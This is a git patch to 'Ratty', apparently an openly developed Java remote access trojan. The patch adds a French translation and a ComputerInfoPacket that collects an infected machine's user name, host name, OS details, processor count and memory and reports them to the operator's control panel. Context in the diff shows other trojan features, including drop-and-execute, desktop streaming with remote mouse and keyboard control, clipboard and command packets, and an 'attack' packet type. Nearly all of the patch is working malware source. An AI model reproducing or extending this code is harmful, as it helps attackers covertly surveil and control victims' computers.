From 06d1aaabf0f46fa859a4346b2932aface2fd25cc Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sun, 27 Mar 2016 05:15:58 +0200 Subject: [PATCH] Major changes Added French translation Added ComputerInfoPacket --- Ratty/res/gui_menu_icons.png | Bin 972 -> 1011 bytes Ratty/res/language/lang.properties | 8 ++ Ratty/res/language/lang_de.properties | 8 ++ Ratty/res/language/lang_en.properties | 8 ++ Ratty/res/language/lang_fr.properties | 65 +++++++++++ Ratty/src/de/sogomn/rat/gui/ChatWindow.java | 10 +- .../de/sogomn/rat/gui/server/RattyGui.java | 2 + .../rat/gui/server/RattyGuiController.java | 47 +++++++- .../sogomn/rat/packet/ComputerInfoPacket.java | 104 ++++++++++++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 4 +- 10 files changed, 250 insertions(+), 6 deletions(-) create mode 100644 Ratty/res/language/lang_fr.properties create mode 100644 Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java diff --git a/Ratty/res/gui_menu_icons.png b/Ratty/res/gui_menu_icons.png index 1680623e5355c516b0c35621636c56be06a2017d..6113eba19e0e59eb6878331563b959e34521e11b 100644 GIT binary patch delta 969 zcmV;)12+832lEGzBni4nL_t(|+U=W>Ef{|w4?vw72_YdN-ry=KIw}epBwCa%Wts@l zQ!Mf-6U~k0<8QBhx4yebquga}ujl9S%=jb2aQqpDC#%(1B51pdet#gD$=LE3zNejdXj0I6^i{+WN*{$4tAauiVjPv2ipf&$kKlfyB>?1mvncT6)8!bj&7>)plra*tKOmJ5A$N?a!rUdZr_ajIo07Q`*sXbINM|lq5 z_1DK)(h@*%{hG8(&A8SAsMrdQOX3~SYq1>8ZX*hZDTK9xAf2xlcG0Ey`0X?l6@W~B zNC-e_`0+*$4Zp}u%Y5i$_-yOH1_0{s}OHxu( zo&b<&CWv&xDwjUfFs*lcHEqM2=Y!tpdjPcKDT^?Yp;>)}eUs~)AKyBa96@V7uk?+oQ4PZ4+cwCkx8?AEHM+jLM3tpY00000NkvXXu0mjfA2YrH delta 930 zcmV;T16};{2h0bMBngvAL_t(|+U=T=Ef{}Do+338LPA2k!BtdrR1`Ek0HUKz6QT4J zhrG%}bEEnA+iTx#b{%PyyYt6-ejd+^?Hz{xHw@1Z{m%ONslwlznoHfRy*@xJ$rN!~?+VL?BuNK$gfsEI_tB)DkELV9k1t1(YrUwC!vyU`|f(K?0bC z1z4tkh$YZ1p!H}40%+4lfw*Hac@Btx?xAj*HsKD2S0SLz4= z4MNWST<*C(hfu1#rW3b>W&mo1H3fL)0y&OaGz1L*atOLO0M=#ZDlK5u09N^GS;-5M ziv!T&rNsvYp! scrollPane = new JScrollPane(chat, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); final Container contentPane = frame.getContentPane(); - final DefaultCaret caret = (DefaultCaret)chat.getCaret(); - - caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE); submit.addActionListener(this::messageSubmitted); chat.setEditable(false); @@ -76,6 +73,11 @@ public final class ChatWindow extends AbstractListenerContainer public void addLine(final String line) { chat.append(line + "\r\n"); + + final JScrollBar scrollBar = scrollPane.getVerticalScrollBar(); + final int bottom = scrollBar.getMaximum(); + + scrollBar.setValue(bottom); } public void setVisible(final boolean visible) { diff --git a/Ratty/src/de/sogomn/rat/gui/server/RattyGui.java b/Ratty/src/de/sogomn/rat/gui/server/RattyGui.java index 98311f6..02646c0 100644 --- a/Ratty/src/de/sogomn/rat/gui/server/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/gui/server/RattyGui.java @@ -93,6 +93,7 @@ public final class RattyGui extends AbstractListenerContainer im public static final String ATTACK = LANGUAGE.getString("action.attack"); public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute"); public static final String CHAT = LANGUAGE.getString("action.chat"); + public static final String INFORMATION = LANGUAGE.getString("action.information"); public static final String CLOSE = "Close"; static { @@ -108,6 +109,7 @@ public final class RattyGui extends AbstractListenerContainer im UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]); UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]); UTILITY_ITEM_DATA.put(CHAT, MENU_ICONS[12]); + OTHER_ITEM_DATA.put(INFORMATION, MENU_ICONS[13]); OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]); } diff --git a/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java b/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java index 70de2f0..1699e8c 100644 --- a/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java @@ -27,6 +27,7 @@ import de.sogomn.rat.packet.AudioPacket; import de.sogomn.rat.packet.ChatPacket; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; +import de.sogomn.rat.packet.ComputerInfoPacket; import de.sogomn.rat.packet.DeleteFilePacket; import de.sogomn.rat.packet.DesktopPacket; import de.sogomn.rat.packet.DownloadFilePacket; @@ -81,7 +82,8 @@ public final class RattyGuiController extends AbstractRattyController implements "language/lang_dk.properties", "language/lang_it.properties", "language/lang_sv.properties", - "language/lang_pt.properties" + "language/lang_pt.properties", + "language/lang_fr.properties" }; private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning"); @@ -104,6 +106,12 @@ public final class RattyGuiController extends AbstractRattyController implements private static final String FILE_LAST_ACCESS = LANGUAGE.getString("file_information.last_access"); private static final String FILE_LAST_MODIFICATION = LANGUAGE.getString("file_information.last_modification"); private static final String FILE_BYTES = LANGUAGE.getString("file_information.bytes"); + private static final String USER_NAME = LANGUAGE.getString("information.user_name"); + private static final String HOST_NAME = LANGUAGE.getString("information.host_name"); + private static final String OS_NAME = LANGUAGE.getString("information.os_name"); + private static final String OS_ARCHITECTURE = LANGUAGE.getString("information.os_architecture"); + private static final String PROCESSORS = LANGUAGE.getString("information.processors"); + private static final String RAM = LANGUAGE.getString("information.ram"); private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip="; private static final long PING_INTERVAL = 3000; @@ -480,6 +488,8 @@ public final class RattyGuiController extends AbstractRattyController implements packet = createChatPacket(client); } else if (command == FileTree.INFORMATION) { packet = createFileInformationPacket(client); + } else if (command == RattyGui.INFORMATION) { + packet = new ComputerInfoPacket(); } else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) { packet = client.displayPanel.getLastMouseEventPacket(); } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) { @@ -584,6 +594,28 @@ public final class RattyGuiController extends AbstractRattyController implements gui.showMessage(message); } + private void handleInfoPacket(final ComputerInfoPacket packet) { + final String name = packet.getName(); + final String hostName = packet.getHostName(); + final String os = packet.getOs(); + final String osVersion = packet.getOsVersion(); + final String osArchitecture = packet.getOsArchitecture(); + final int processors = packet.getProcessors(); + final long ram = packet.getRam(); + final StringBuilder builder = new StringBuilder(); + + final String message = builder + .append(USER_NAME).append(": ").append(name).append("\r\n") + .append(HOST_NAME).append(": ").append(hostName).append("\r\n") + .append(OS_NAME).append(": ").append(os).append(" ").append(osVersion).append("\r\n") + .append(OS_ARCHITECTURE).append(": ").append(osArchitecture).append("\r\n") + .append(PROCESSORS).append(": ").append(processors).append("\r\n") + .append(RAM).append(": ").append(ram).append(" ").append(FILE_BYTES).append("\r\n") + .toString(); + + gui.showMessage(message); + } + private boolean handlePacket(final ServerClient client, final IPacket packet) { final Class clazz = packet.getClass(); @@ -617,6 +649,10 @@ public final class RattyGuiController extends AbstractRattyController implements final ChatPacket chat = (ChatPacket)packet; handleChatPacket(client, chat); + } else if (clazz == ComputerInfoPacket.class) { + final ComputerInfoPacket info = (ComputerInfoPacket)packet; + + handleInfoPacket(info); } else if (clazz == FileInformationPacket.class) { final FileInformationPacket information = (FileInformationPacket)packet; @@ -670,6 +706,11 @@ public final class RattyGuiController extends AbstractRattyController implements @Override public void packetReceived(final ActiveConnection connection, final IPacket packet) { final ServerClient client = getClient(connection); + + if (client == null) { + return; + } + final boolean loggedIn = client.isLoggedIn(); if (loggedIn) { @@ -700,6 +741,10 @@ public final class RattyGuiController extends AbstractRattyController implements final ServerClient client = getClient(connection); + if (client == null) { + return; + } + gui.removeClient(client); clients.remove(connection); diff --git a/Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java b/Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java new file mode 100644 index 0000000..1afe00e --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java @@ -0,0 +1,104 @@ +package de.sogomn.rat.packet; + +import java.net.InetAddress; +import java.net.UnknownHostException; + +import de.sogomn.rat.ActiveConnection; + +public class ComputerInfoPacket extends AbstractPingPongPacket { + + private String name, hostName, os, osVersion, osArchitecture; + private int processors; + private long ram; + + public ComputerInfoPacket() { + //... + } + + @Override + protected void sendRequest(final ActiveConnection connection) { + //... + } + + @Override + protected void sendData(final ActiveConnection connection) { + connection.writeUTF(name); + connection.writeUTF(hostName); + connection.writeUTF(os); + connection.writeUTF(osVersion); + connection.writeUTF(osArchitecture); + connection.writeInt(processors); + connection.writeLong(ram); + } + + @Override + protected void receiveRequest(final ActiveConnection connection) { + //... + } + + @Override + protected void receiveData(final ActiveConnection connection) { + name = connection.readUTF(); + hostName = connection.readUTF(); + os = connection.readUTF(); + osVersion = connection.readUTF(); + osArchitecture = connection.readUTF(); + processors = connection.readInt(); + ram = connection.readLong(); + } + + @Override + protected void executeRequest(final ActiveConnection connection) { + type = DATA; + name = System.getProperty("user.name"); + os = System.getProperty("os.name"); + osVersion = System.getProperty("os.version"); + osArchitecture = System.getProperty("os.arch"); + processors = Runtime.getRuntime().availableProcessors(); + ram = Runtime.getRuntime().totalMemory(); + + try { + hostName = InetAddress.getLocalHost().getHostName(); + } catch (final UnknownHostException ex) { + hostName = ""; + + ex.printStackTrace(); + } + + connection.addPacket(this); + } + + @Override + protected void executeData(final ActiveConnection connection) { + //... + } + + public String getName() { + return name; + } + + public String getHostName() { + return hostName; + } + + public String getOs() { + return os; + } + + public String getOsVersion() { + return osVersion; + } + + public String getOsArchitecture() { + return osArchitecture; + } + + public int getProcessors() { + return processors; + } + + public long getRam() { + return ram; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 468440e..d75dcc9 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -26,7 +26,9 @@ public enum PacketType { PING(19, PingPacket.class), DOWNLOAD_URL(20, DownloadUrlPacket.class), CHAT(21, ChatPacket.class), - FILE_INFORMATION(22, FileInformationPacket.class); + FILE_INFORMATION(22, FileInformationPacket.class), + ATTACK(23, AttackPacket.class), + COMPUTER_INFORMATION(24, ComputerInfoPacket.class); public final byte id; public final Class clazz;